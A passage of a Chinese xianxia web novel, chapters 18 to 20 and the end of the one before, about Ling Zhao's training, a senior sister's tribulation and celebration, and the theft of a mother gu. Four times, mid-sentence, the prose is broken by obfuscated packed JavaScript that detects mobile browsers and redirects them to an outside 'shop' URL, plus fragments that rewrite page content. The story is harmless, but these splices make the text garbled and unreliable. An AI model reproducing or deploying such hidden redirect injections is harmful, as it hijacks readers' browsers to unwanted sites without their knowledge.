“这丹药可不是谁都能买的。老身云游四方,只赠有缘人。今日见道友与我有缘,这才出手相救。” 他说着,从袖中又摸出一瓶,在掌心掂了掂:“既然道友诚心想买,那便……” 话还没说完,人群里忽然有人惊呼:“是他!就是那个卖丹药的!” “他的丹药奇效无比!” 凌昭还没反应过来,就见周围呼啦啦围上去一群人,七嘴八舌地喊: “前辈,我也要买!” “大师,我出三倍!” “谁挤我!我先来的!” 那灰袍商贩被围在中间,脸上的笑意更深了。 凌昭站在人群外,和北山霁对视了一眼。 “疯了还是瞎了?”凌昭皱着眉头看着拥挤的人群。 二人目光落在那个“刚痊愈”的修士身上,对方正悄悄往人群外挪,动作熟练得不像第一次。 就在这时,一道中气十足的声音从人群后方砸下来: “都给我让开!” 十几道暗青色身影从人群中挤出来,衣袍上绣着流云纹路,凌昭认得,那是管辖流光城的青云门弟子。 为首之人身形魁梧,浓眉大眼,一张脸上带着几分不耐烦。他大手一挥:“把这两个人骗子抓起来!” 身后的弟子训练有素,瞬间按住那灰袍商贩,抓住半路溜走的“痊愈修士”。 人群哗然。 “青云门抓人干什么?” “那丹药是真的有用啊!这是要断我们生路啊!” “就是就是!你们大宗有丹药,我们呢!” 浓眉大汉也不解释,只是冷哼一声:“有用?把那几个说有用的也抓起来!” 此话一出,周围瞬间噤声。 凌昭站在人群中,看着那熟悉的面孔,嘴角微抽,还是个熟人。 蒋楚阔,青云门大师兄。 说是熟人其实有点抬举,严格来说,是买家和卖家的关系。凌昭这些年没少卖东西给他,什么妖兽材料、秘境里捡的破烂,只要包装得好,这位蒋师兄都愿意高价收。凌昭一度怀疑他是不是钱多烧得慌。 蒋楚阔显然没注意到人群里的她,正忙着指挥弟子押人。那灰袍商贩还在挣扎:“冤枉啊!我是在救人!” “救人?”蒋楚阔硕大巴掌拍在他后脑勺上,“你自己下的药,这也叫救?” 商贩一僵。 人群里有人反应过来:“啊?意思是……那走火入魔是他搞的?” 蒋楚阔懒得再解释,挥挥手:“带回去审。” 青云门人熟练地押人、维持秩序。很快夜市恢复正常。 蒋楚阔落在身后指挥,眼看人要带走,凌昭忽然开口:“蒋道友。” 声音不高,但蒋楚阔耳朵动了动,猛地回头。 目光落在凌昭面具上,他眼睛“唰”地亮了:“昭道友!” 他三步并作两步冲过来,脸上堆满了笑:“好久不见!我还以为你出什么事了。” 凌昭嘴角抽了抽:“……我挺好。” “那就好那就好!”蒋楚阔搓了搓手,忽然压低声音,“有好东西没?我最近可攒了不少灵石,就等你呢。” 凌昭:“……”她就知道。 北山霁轻咳一声,“蒋道友。” 蒋楚阔这才注意到旁边还有人。他愣了一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215357|196664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯着北山霁看了两秒,忽然“咦”了一声:“北山兄?你也在啊。” 北山霁点头。 蒋楚阔看看他,又看看凌昭,脸上露出恍然大悟的表情:“原来你们认识啊!难怪、难怪……” 凌昭:……难怪什么? 她没问,指了指被押走的那两人:“这怎么回事?” 蒋楚阔回头看了眼,压低声音道:“这两人是惯犯了。一个装走火入魔,一个卖丹药,演双簧骗钱。我们盯了好几天了。” “走火入魔是装的?”凌昭疑惑,“那些说有用的也是假的?” “药是他自己下的,当然能解。”蒋楚阔撇嘴,“只不过有几例误打误撞罢了。” 他顿了顿,眉头皱起来:“不过,最近流光城莫名走火入魔的人确实变多了,查不出原因。有些是真的,有些是假的。这两人也是瞅准了这个机会,浑水摸鱼。” 凌昭若有所思,难道又是蛊虫? 她面上不显,只点点头:“原来如此。” “行了,不说了,我得回去审他们。”蒋楚阔拍拍袖子,忽然想起什么,眼睛又亮起来,“对了昭道友,要不要去青云门坐坐?离这不远,我请你喝酒!” 凌昭摆手道:“……改日吧。” 蒋楚阔也不恼,挠头笑了笑:“行,那改日。昭道友,有好东西记得先问我啊,价钱好商量!” 他说完,又看向北山霁,热情不减:“那北山兄来?” 北山霁摇头:“不必。” 蒋楚阔“哦”了一声,也不强求,摆摆手大步流星走了。 凌昭站在原地,蒋楚阔的背影消失在夜色里,她还在思索丹药一事,北山霁的声音从旁边传来。 “你和蒋楚阔很熟?他知道你的名字。” “认识,他买过我几次东西。”凌昭想着事情随口回道,没注意他后半句话。 “他出手大方?” 凌昭被他这一追问弄得一愣,收齐思绪偏头看着他:“嗯?这不应该叫人傻钱多吗……” 说完,她面具下的眉头紧皱,总感觉哪里怪怪的,她和北山霁也不熟,他管这么多干什么?难道在试探什么…… 凌昭揣测着北山霁的用意,他忽然又开口:“以昭道友的资质,入飞仙宗不是难事。” 北山霁说这话时,目光落在她面具上,但“昭道友”三个字咬得格外清晰。 话锋突然转变,凌昭颇为意外地挑眉。 “北山道友这是……”她拖长了调子,一双眼睛直直盯着对方,“邀请我?” 北山霁看着她,目光认真:“是。” 凌昭愣了一下。 不是因为这句话的内容,而是这话她听过,在宗门里,他对“凌师妹”也说过类似的。 凌昭心里敲响警钟,他当真不是在试探吗。 无形中她笑意淡了下去,随意摆摆手说:“多谢抬爱。不过散修自在惯了。而且……”她顿了顿,补充了一句,“而且我觉得青云门也挺不错的。” 凌昭以为北山霁会追问,凌昭都准备大夸特夸青云门了,却被北山霁打个措不及防。 北山霁抿唇沉默一瞬,认真地说道:“飞仙宗随时欢迎你。” 18. 第十八章 凌昭这几日过得格外规律。 每日卯时初,她准时出现在无极峰练剑场,跟着教习长老学剑;午时离开,回玉衡峰研习医术,大部分时间在房间修炼。 凌昭第一日去时,玉佩一拿出那弟子就要带着她去找北山霁,问过才知道是北山霁交代的。 她及时阻止后,还特地打听了北山霁出现时间,决定以后避开。 “大师兄今日忙于宗门事务,白日很少能见到。”那领路弟子如实回答。 之后,凌昭还专门问教习长老要了块通行令牌,用于进出教习区域,避免又被领着去见北山霁。 除了这点小差错,凌昭本身还是很乐意去的。 飞仙宗的剑术体系与她散修时学的路数截然不同。散修讲究实用,怎么有效怎么来;宗门剑术讲究根基,一招一式皆有章法,重在“势”的积累。 几日下来,凌昭将内外门所有基础剑招都学了一遍。三位教习长老看她的眼神都变了,一度以为这丫头是来“砸场子”的。 “凌丫头,你当真第一次学剑?”钱长老捋着胡子,满脸不可思议。 凌昭垂下眼帘,似乎在回想:“弟子也说不清,只是看着剑招,脑子里就会冒出些零零碎碎的东西。许是那秘境传承带来的?” 宗门内的人大多都知道传承一事,钱长老自然也知晓此事。 他哈哈一笑:“传承归传承,但有没有天赋,老头子我还是看得出来的。你这丫头,学七天顶别人学一年。” 凌昭弯了弯嘴角,没接话。 不过她确实有所感悟。她往日剑术锋利,而飞仙宗的剑术重势,每一式都在为下一式蓄力,连绵不绝。这种打法不适合生死搏杀,但用来打磨根基,确实精妙。 今日是第七日,凌昭照常来到无极峰。 踏入练剑场的瞬间,她脚步顿了顿。 场中,钱长老身边站着一道月白身影,不正是她躲了几日的北山霁吗? 北山霁正侧头听钱长老说话,眉眼平静,仿佛只是寻常来巡视。但他的存在本身,就让整个练剑场的气氛微妙起来,往日懒散练剑的弟子,此刻个个挺直了腰背。 凌昭的第一反应是转身就走,但北山霁已经看见她了。 四目相对,他微微颔首,算是打过招呼。 凌昭只能硬着头皮走进去,面上挂着得体的笑:“北山师兄也在啊。” “嗯,”北山霁应了一声,反常地解释了一句,“今日不忙。” 钱长老笑呵呵地开口:“凌丫头来得正好。北山师侄刚问我你这几日的进度,我正说你呢。基础绝对过关,天赋异禀,老夫教了这么多年剑,没见过学这么快的。” 凌昭笑容微微一僵:“长老谬赞。” “可不是谬赞。”钱长老摆摆手,“老夫寻思着,你基础已经打牢了,再跟着我学也是浪费时间。正好北山今日有空,他要指导岁宁,正好你也一起。” 凌昭下意识看向北山霁。 对方神色如常,反倒静静地看着她,似乎在等她点头。 钱长老摸着胡子左看看右看看,随即反应过来似得,他笑呵呵地冲着凌昭说着:“凌丫头啊,北山的剑术指导可谓一针见血,可不输我们这些老家伙哦!” 不等凌昭说话,北山霁突然开口,语气一如既往地平静: “师妹若是拒绝……”他顿了顿,“那便算了。” 说完,他垂下眼帘,睫毛在眼底投下一小片阴影。 凌昭忽然觉得,这人好像有点……失落? 但只是一瞬,他又恢复了那副平静的样子,仿佛刚才只是她的错觉。 凌昭真想问问:他没病吧? 但她当然不能问。 她只能扯出一个笑:“师兄说笑了,能得师兄指点是求之不得的事。” 钱长老乐呵呵地一拍手:“行了行了,你们年轻人别在这儿客套了。岁宁那小子在后山练剑,你们直接去找他吧。”说完背着手走了,留下两人站在原地。 凌昭:…… 她忽然怀疑,钱长老是不是故意的。 “走吧。”北山霁已经迈步往后山走。 凌昭只能跟上。 两人一前一后,沿着石径往后山去。光束穿透树梢,在地上砸下斑驳的光点。 凌昭心里琢磨着待会儿要怎么演。长岁宁那小子她倒是不怕,但北山霁在旁边看着,她得时刻绷紧那根弦,不能用散修的路数,只能用这七天学的宗门剑招。 可别露馅。 她这么想着,脚步无意识地加快,险些越过刻意放慢步伐的北山霁。 见此,北山霁默默提速,二人并肩走着。 . 后山开出来一块平底,四周林木环绕。 长岁宁已经在了。 他正对着一个木人桩练剑,一剑一剑,看似认真,实则魂已经飘走了好一会儿了。 北山霁脚步顿住,目光落在那个浑然不觉的师弟身上。 “长岁宁。” 声音不大,但长岁宁一个激灵,剑差点脱手。他猛地回头,看见北山霁的瞬间,脸上写满了“完了”两个大字。 “大、大师兄,”他下意识把剑往身后藏,又讪讪地拿出来,“您怎么来了?” “检验,”北山霁走过去,在木人桩旁站定,“开始吧。” 长岁宁和凌昭对视后努力扬起一抹笑容,随即面色一苦面对着木桩。 凌昭站在一旁,默默往后退了半步,准备看戏。 长岁宁深吸一口气,提剑起势,这次倒是认真了。一剑刺出,剑身平直,力道也足,但刺到一半,他手腕一抖,剑尖偏了三分。 “再来。” 还是偏。 凌昭看得清楚,他是太想做好了。每一剑都憋着一股劲,恨不得一剑把木桩捅穿,结果反而失了准头。 很静,只有剑身轻轻震颤的声音。 长岁宁越练越紧张,第七剑刺出去的时候,剑尖直接擦着木人桩滑过去,整个人往前踉跄了一步。 “行了。”北山霁开口。 长岁宁如获大赦,收剑站好,眼神却不敢看他。 北山霁走过去,从他手里接过剑,转身对着木人桩。 “抬头。” 他一剑刺出。 最基础的中平刺,但那一瞬间,凌昭感觉周围的空气都被这一剑牵引,刺开了空气。 叮—— 剑尖入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227344|196664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木三分,稳稳停在木人桩心口的位置。 北山霁收剑,递给长岁宁:“再来。” 长岁宁接过剑,咽了口唾沫,学着他的样子刺出一剑。 还是偏。 凌昭在旁边看着,忽然开口:“师弟别紧张,你看你手腕都僵了。” 长岁宁一愣。 凌昭走过去,在他身侧站定,虚虚比了个握剑的姿势:“你每一剑都想用尽全力,所以手腕是锁死的。但剑不是刀,不用每招都拼命。手腕松一点,剑尖反而稳。” 长岁宁眨眨眼,试着放松手腕,又一剑刺出。 这次虽然还是偏,但偏得没那么离谱了。 他眼睛一亮,转头看向凌昭,“凌师姐你怎么知道的?” 凌昭笑了笑:“刚才看你练,琢磨的。” 确实是自己琢磨的,不过是很小的时候。 “师姐你也太厉害了!”长岁宁一扫郁闷,跃跃欲试,“这几日一直听说师姐学的很好,正好师姐咱俩过几招呗?” “可以。”凌昭随便拿出铁剑,走到场中,长岁宁兴奋地提剑迎上。 两人对峙片刻,长岁宁率先出剑。 凌昭侧身避开,剑尖顺势斜挑。她只用这七日学的无极峰基础剑招。一招一式,规规矩矩。 但长岁宁的攻势越来越急,她应对得便也越来越快。 几招过后,凌昭又看出问题了,长岁宁还是那个毛病。太急。每一剑都想赢,每一剑都拼尽全力,后招跟不上,破绽频出。 她心里思索着,手下却没停,虚晃一招引得他全力来挡,随后收剑后退三步。 凌昭收剑失笑,“师弟剑势很猛,只是……” 她顿了顿,没说完。 “只是太急。”北山霁走过来。 长岁宁挠头“嘿嘿”一笑,突然的振奋:“师姐都看出来!看来我需要多多练习了!” 北山霁抬眸瞥了她一眼,“明日去寻个逆风口练剑。” 长岁宁一愣:“逆风口?” “风从正面来,剑要刺出去,手腕就要灵活。”北山霁补充道,“练到风再大,剑尖也不偏,再来找我。” 长岁宁苦着脸点头,显然没完全听懂,但不敢问。 凌昭站在一旁,却若有所思。她自己许多技巧都是在实战中悟出来的,倒是没想到有专门训练的法子。 “师妹眼光敏锐,”北山霁转过身,“那你自己呢?” 凌昭愣了一下,垂眸看了眼手中的铁剑,隐隐泛着冷光。 她的剑向来精准,搏斗中也很少失误。那她的问题是什么呢。 “剑应该是活的。”北山霁斟酌着补充,“或许可以试着不把它当做武器。” 她没接话。 活的?她握剑多年,从没想过这个问题。剑在她手里,杀人、斩妖、保命,好用就行。寻找本命剑,或许也只是因为“本命”二字。 可他说,剑是活的。 突然,远处传来一阵闷雷般的轰鸣,吸引三人注意。 玉衡峰方向,天边乌云正在汇聚,层层叠叠,翻涌不息。云层深处雷光隐现,隐隐有威压散开。 “那是……”长岁宁愣住,“雷劫?” 19. 第十九章 雷声炸响的瞬间,凌昭已经动了。 她甚至来不及和北山霁、长岁宁多说一句,只丢下一句“我去看看”,便御剑而起,直冲玉衡峰。 剑光破空,风灌满衣袖。她远远望见那道粉色人影,雷劫云压得极低,层层翻滚,这是和之前那个伪雷劫完全不一样的感觉。 以云华真人为首的玉衡峰一群人待在山腰,云华灵力环身,似乎准备随时出手护法,虽说雷劫不可干涉,但若性命危急,便另说。 凌昭落在云华身侧,轻唤:“师尊。” 云华转头看她一眼,微微颔首,“诶看着吧,你师姐这一劫不容易。” 凌昭不再说话,只抬头望着那道身影。 雷劫酝酿已久却迟迟不落,天威压得人喘不过气来。峰顶的草木早已伏倒在地,唯有池寄瑶一人独立,粉色衣衫在风中猎猎作响。 轰—— 天似乎裂开一道口子,一道雷光冲出直直劈下,天地间瞬间充斥刺目的白。眨眼间,雷光没入池寄瑶身体,她浑身颤栗,脚步依旧稳稳扎在山巅。 “第一道。”云华的声音很轻,但凌昭听得出那语气里的骄傲。 更多的雷劫云在汇聚。第二道、第三道,一道比一道凶猛。池寄瑶的气息在衰弱,但她始终站着。 第四道雷光砸下,池寄瑶闷哼一声,膝盖瞬间砸地,云华的手微微抬起,灵力在掌心凝聚,随时准备出手,但她最终没有动。 一道道雷光打在池寄瑶身上,但她一次次站起来了。 终于,第八道雷光消失,雷劫云开始散去,天光洒落。池寄瑶站在峰顶,灵力成股涌入她的身体,元婴初成。 “成了!”玉衡峰弟子欢呼出声。 飞仙宗这一代第一位元婴修士,出在玉衡峰。 凌昭望着那道身影,心里忽然想起师父说过的话,“撑过雷劫便能雨后回润” 池寄瑶此时气息不稳,但已无大碍。她一个纵身飞了下来,衣衫已恢复整洁,只是发尾还带着焦痕。她抓了抓干枯的发尾,脸上闪过标准微笑: “师尊,我就等结婴大典收礼了。” 闻言,云华一巴掌轻拍在她后脑笑骂:“刚渡完劫就惦记这个,出息。” 池寄瑶转身笑着搂住凌昭:“曦儿啊,到时候师姐挑点好的给你。”说着捏了捏她的脸,压低声音,“你可要加油啊,第二个元婴哦,我看好你。” 凌昭忍住躲闪的动作,弯着嘴角道贺:“嗯,还是先恭喜师姐成功结婴。” 云华忙着去准备结婴大典事宜先走一步,剩下的人也拥着欢声笑语散开。 . 三日后,主峰广场张灯结彩。 凌昭随云华入席时,广场上已人山人海,各色宗袍交错。 飞仙宗请柬发出,又是享誉盛名的云华真人徒弟的结婴大典,灵界大小宗门可谓能来的都来了,没来的礼也送到了。 “凌曦!这边!”灵菏初不知从哪儿窜出来,一把拽住她就往座位上拉,马尾上的银铃叮当响,脸上写满了兴奋,“坐这坐这,我选的绝佳好位置。” 环顾四周才发现这位置确实不错,主峰广场正中央偏左,既能把整个大典尽收眼底,又不至于太显眼。 “怎么样?”灵菏初得意地笑着,“他们可都没抢过我。” 像是被她笑声感染,凌昭真切笑道:“确实好。” “你看那边,”灵菏初压低声音,用下巴点了点左前方灰白色服饰的二人,“浮玉宗来的是他们的大长老常喻,离窍后期,听说快突破合一了。旁边那个是他大弟子沈容端,也是他们宗这一代的领头人物。” 凌昭顺着她的目光看去。常喻正与身边人寒暄,姿态儒雅。沈容端站在他身侧,散发着一股生人勿进的气息。 她一时觉着这女修十分面熟,许是秘境见过几次。 灵菏初嘴巴不停,成功让凌昭将场上的人认了一遍,也成功刷新凌昭对她的认知:果然消息灵通! “池师姐这一结婴,”灵菏初喝口水润润嗓,“当属青云门最不服气,现在也没见到他们宗门的人。” 凌昭扫视一圈,确实没有暗青色服饰的弟子。 “你不好奇为什么吗?”灵菏初迎上凌昭目光,一双眼睛灵动的眨啊眨。 凌昭失笑点头,“你说吧。” 灵菏初爽快应声。 灵界三大宗门鼎立,依次便是飞仙宗、青云门、浮玉宗。作为万年老二的青云门,其山脉和飞仙相邻,恩怨纠葛也是从很多代之前就开始了。 “两宗都有老祖坐镇,争的就是气运。”灵菏初压低声音,神色却掩不住骄傲,“新一代弟子谁先结婴,代表的是宗门未来百年气运。池师姐这一步,可是替咱们飞仙宗抢了先机。” 凌昭若有所思地点头,元婴散修在大多数修士里几乎可以横着走,更别提宗门,每多一位元婴,宗门便多一份底蕴。 她抬眼望向主座方向,宗主旋阳易正与各宗来客谈笑风生,身侧几位峰主各就其位。云华坐在玉衡峰席位首位,眉眼含笑,望着自己徒弟的眼神满是欣慰。 盘根错节,福祸相依。 凌昭心里忽然浮起这个念头。 凌昭出神一瞬,天边忽然传来一阵破空声。 数十道暗青色流光划破天际,稳稳落在广场边缘。为首之人身形魁梧,须发灰白,一身暗青服饰上绣着流云纹路泛着灵光,气息深不可测。 场中一静。 “青云门的人,”灵菏初小声惊呼,“我竟然认不出为首那人是谁!” 凌昭没有回答。她的目光落在那为首之人身上,那气息,至少也是合一境以上。 旋阳易已起身相迎,几乎所有峰主长老也跟着起身。 “百策前辈大驾光临,有失远迎。”旋阳易笑呵呵地,但似乎被冻住的气氛一点破冰的迹象都没有。 几乎同时,灵菏初抓住凌昭手臂,传音饱含震惊:“这是青云门老祖!” 凌昭面色不变,心中却是一凛,她担心替息珠暴露。 对方可是归真境,渡劫飞升只是时间问题,如此境界神识可覆盖整座山脉,若对方有心探查,那替息珠当真有用吗…… “旋宗主客气。”百策摆摆手,“老夫不请自来,诸位不会见怪吧?” “前辈说笑了,”旋阳易笑道,“前辈能来,是飞仙宗的荣幸。前辈请上座。” “不急。”百策打断他扬声道,“老夫今日来,一是恭贺贵宗弟子结婴。这新一代的第一位元婴,落在飞仙宗,确实是喜事。” 他顿了顿,话锋一转:“二来嘛……” 全场寂静,落针可闻。 “二来是想探望探望清淳老友。”百策似笑非笑,“老夫与他多年未见,前些时日忽然感知到他出关的气息,还想着总算能叙叙旧了。怎么,老夫兴冲冲赶来,他又闭关了?” 旋阳易笑容依旧:“劳前辈挂念,老祖若知晓定当欣喜。只是老祖闭关参悟大道,确实不便打扰。” “参悟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230235|196664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大道?”百策捋了捋胡须,笑意更深,“参悟到连老友都不见一面?旋宗主,你这话说得,老夫怎么听着像是托词呢?莫不是出了什么事……” 场中气氛微妙起来,各宗来客面面相觑,有人低头喝茶,有人交换眼色,却无一人出声。 两宗平衡,甚至说灵界平衡,都在这两位老祖身上。牵一发动全身的道理,在场的人没有不清楚的。 凌昭垂眸,余光不错过宗主等人的神色。 “前辈言重了,”旋阳话里含笑但语气加重,“老祖闭关前确有吩咐,除非宗门生死存亡,否则不得打扰。晚辈身为宗主,自当遵从。” “生死存亡?”百策忽然笑了,“这话说的老夫来探望老友,难不成还能让飞仙宗生死存亡?”这话已经有些咄咄逼人了。 旋阳易却笑了笑,不接这个话茬,侧身做了个请的手势:“前辈远道而来,还请上座。今日我宗结婴之喜,前辈若不嫌弃,喝杯水酒再走不迟。” 百策盯着他看了片刻,哈哈大笑:“好好好。” 百策在主宾位落座,端起酒杯朝旋阳易遥遥一举:“既如此,老夫便不客气了。” 旋阳易含笑举杯,但笑意不曾到达眼底。 凌昭垂下眼帘,掩住眼底的思绪。 他们口中的清淳应该是师父口中,那个剑仙身边的“小狗腿”。以他的修为,若真出关,何必再闭关?除非…… 飞仙宗出事了,或者他自身出了事。 她皱着眉将茶水换成了灵酒,她总感觉忽略了什么。 灵菏初在旁边小声嘀咕:“这青云门老祖怎么这样,当着这么多人的面……”她没说下去,但语气里满是不忿。 没收到回应,灵菏初侧眸一看,凌昭自己倒了杯灵酒,大惊失色:“诶呦,你个一杯倒别喝酒!” 凌昭举杯的动作一顿,内心暗悔,一时疏忽,忘了妹妹是个一杯倒。 她讪讪放下,换回茶水。 灵菏初这才满意地点头:“这才对嘛。” . 大典持续了整整三日,百策拜访这一小插曲似乎并没有影响。凌昭只去了第一日,倒是池寄瑶忙碌了三日。期间凌昭去无极峰学剑,北山霁也忙于宗门事务,她倒是乐得自在。 三日后,各宗宾客陆续离场,飞仙宗重归平静。 池寄瑶送走最后一批客人,长长舒了口气,转头就扎进了自己的修炼室。云华将研究母蛊的任务交给了她,她正求之不得。 “曦儿,你若无事也来帮忙。”云华那日交代,“你师姐擅毒,蛊毒相通,正好让她研究。你也跟着学学。” 凌昭应下。 这天傍晚,她从无极峰练剑出来,想起云华的话,便拐了个弯,往池寄瑶的修炼室走去。 夜色将近。凌昭穿过回廊,远远望见修炼室的门虚掩着,里面透出灯光。 她正要走近,门忽然从里面撞开,一个身影闪了出来。 那人低着头,脚步匆匆,看服饰是玉衡峰的洒扫弟子。他刚迈出门槛,一抬头,恰好和凌昭打了个照面。 那一瞬,凌昭看清了他的眼睛,像是丢了魂的空洞。 不对。 心念一动,一道定身符自凌昭袖中飞出,精准贴在那人额前,那弟子身形一僵,直挺挺定在原地。 凌昭越过他,一把推开修炼室的门。 室内一片狼藉。玉匣敞开,倒在桌上,里面空空如也。 糟了! 母蛊,没了。 20. 第二十章 凌昭传讯池寄瑶后就没有再动。 事情已然发生,贸然介入只会破坏现场,且增加自己的嫌疑。她甚至没有走近那张桌子,只是站在门边,目光快速扫过整个修炼室。 而那个洒扫弟子被定在门外,此时已经失去意识,瘫倒在地。 凌昭收回目光,安静地等。 约莫半盏茶的工夫,一道粉色身影疾掠而至。 池寄瑶落地的瞬间,目光先扫过凌昭,确认她没事后,才奔向修炼室里面。 凌昭跟在身后,只见池寄瑶在桌前站定,低头端详着玉匣,嘴角弯着一抹弧度,似笑不笑。 “师姐……” 凌昭话音未落,“咔嚓”一声,那玉匣已经在对方掌心碾为齑粉,簌簌洒在摊开的书籍上,她这才注意到,书页已经被灵火烧毁大半。 她语塞了一瞬,这是……明晃晃的挑衅吧? 池寄瑶轻叹一声,语气温柔地像在说今天天气真好,“可惜了,我正看到精彩的地方。” 只见她转身,眼角弯弯,唇角噙着笑意,说出来的话却带着冷意。 “师妹,那个凶手在哪?” 凌昭默默指了指门外。 所以池师姐刚才直冲冲赶来,压根没注意到院里还躺着个人? 她看着池寄瑶出门的背影,忽然想起妹妹说过的话“师姐生气的时候,其实有点一根筋。” 现在她信了。 池寄瑶蹲下身,指尖抵住那人眉心。片刻后,池寄瑶眉头微蹙,又探了片刻,才收回手。 “神识濒临崩溃,”池寄瑶斟酌着用词,“就算醒来,也是痴傻一生。” 神识崩溃? 凌昭心里一沉,皱眉思索时,池寄瑶忽然问:“曦儿,你可知道摄魂术?” 凌昭一怔。 摄魂术,上古禁术。所谓摄魂,便是强行控制他人神识,为己所用。因为太过阴毒,早就被修士联手封禁,传承断绝。 “可不是已经失传了吗?”她问。 池寄瑶收回手,站起身。 “是啊,失传了。”她声音很轻,“但这个弟子……” 她没有说完,但意思很明显了。 凌昭脑子飞速转着。摄魂术重现,意味着什么?意味着有人在暗中修炼禁术,而最恐怖的是,当你意识到时可能已经不止一个人了。 “师姐,”她忽然开口,“这洒扫弟子是什么时候入玉衡峰的?” “每一批洒扫弟子,都有专门的服饰”,池寄瑶皱眉观察片刻,“看服饰应该是四个月前那一批。” 四个月前。 凌昭算着时间,那时候,她还没入宗,妹妹还没出事。也就是说,这个人很可能早就在玉衡峰了——或者说,早就被安插在玉衡峰了。 “能查到是谁调他来的吗?” 池寄瑶摇头:“外门调派,经手的人太多。真要查,一时半会儿查不出什么。” 她顿了顿,轻叹:“不过,对方敢用摄魂术,敢毁母蛊,想必已经做好了万全的准备。就算查到他怎么来的,估计也是条死路。” 凌昭沉默思索。 “师姐,”凌昭压低声音,“你说……这件事和魔族有关吗?” 她甚至有一瞬间觉得,出手之人和伤害妹妹的是同一个。 池寄瑶摇头,“我也在想这种可能。但是……” 她转过身看着凌昭,“宗门阵法常年开启,魔族想要潜入,几乎不可能,除非……” 说着说着,她自己都愣了一瞬,没有说出那句话。 除非有人勾结魔族。 两人对视一眼,都从对方眼中看到了同样的想法。 这一念头一旦冒出来,就再也压不下去。 就在这时,门外传来一阵脚步声。 云华快步走进来,碧色衣袍上还带着夜间凉意,显然是一收到消息就赶来了。 “如何?” 池寄瑶简单将情况说了一遍。云华听完,神色凝重。沉默片刻,她走到那小弟子面前,亲自探了一遍。 然后她直起身,看向池寄瑶和凌昭。 “这件事,从现在开始,不能声张。”她的语气不容置疑,“蛊虫丢失、摄魂术现世,任何一件传出去,都会引起轩然大波。更何况……” 她顿了顿,目光望向远处,群山静默,夜色下只见隐约轮廓,像潜伏的巨兽。 “若真如你们所料,宗门内有人勾结魔族,那打草惊蛇只会让对方藏得更深。” 池寄瑶点头,看向地上躺着的人,“母蛊确实被毁,那……” 云华沉吟片刻,叹息一声,“送去执事峰水牢。对外就说……毁坏母蛊,按门规处置。” 她顿了顿,又补充道:“至于其他的,我会和宗主说。事关重大,我们几位峰主会彻查的。” 凌昭垂眸没有说话,心里忽然浮起一个念头。 可如果查到最后,发现那人就在高层呢?如果那人就是宗主、峰主。 她不仅仅是在猜测毁坏母蛊的凶手,还在猜测让妹妹重伤的凶手。 “行了,这件事有我们呢,”云华拍了拍凌昭的肩,“曦儿先回去吧。我听宗主说,明日无极峰有大比。” 忽然被拍,凌昭回过神来:“师尊,不知是什么大比?” “应该是为了剑心试炼塔名额。”池寄瑶接话,“我记得每次开塔,无极峰内外门都要争夺一番。” “曦儿虽是挂名弟子,但有亲传身份在,自然是有名额的,”云华顿了顿,“不过你既然学了剑,去观摩观摩自然是好的。” “对啊!”池寄瑶忽然搂上凌昭,满脸笑意,“医剑双修很是罕见呢,小曦儿改日可得让师姐我欣赏欣赏你的剑术啊!” 凌昭被她搂得身子一僵,谦虚地说:“师姐说笑了,我才学了七天。” “我可听说了啊,钱长老都夸出花来了。”池寄瑶没忍住捏捏她的脸,“行了行了,快回去吧。” 凌昭知晓他们是不想自己掺和进此事,但别无他法。 她只能点点头,转身离开。 走出院门的瞬间,她脚步顿了顿,回头看了一眼。 云华和池寄瑶还站在修炼室门口,低声说着什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232836|196664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。夜色里,看不清她们的神情。 凌昭眼睛微眨,收回目光,迈步离开。 . 凌昭寝殿并不算远,如今凌昭御剑来往,不过一会儿。 她刚刚落下,就撞上熟悉的眼眸。 凌昭觉得这一幕似曾相识,北山霁为什么又在寝殿前等她啊? 这个念头在脑子里转了一圈,她面上却已经挂上了得体的笑,走上前去:“师兄怎么又来了?” “又”字咬得轻巧,北山霁看了她一眼,没接这话茬,只是从袖中取出一本书册,递到她面前。 “这个给你。” 凌昭接过,低头一看,封面上写着四个字:《回风剑谱》。 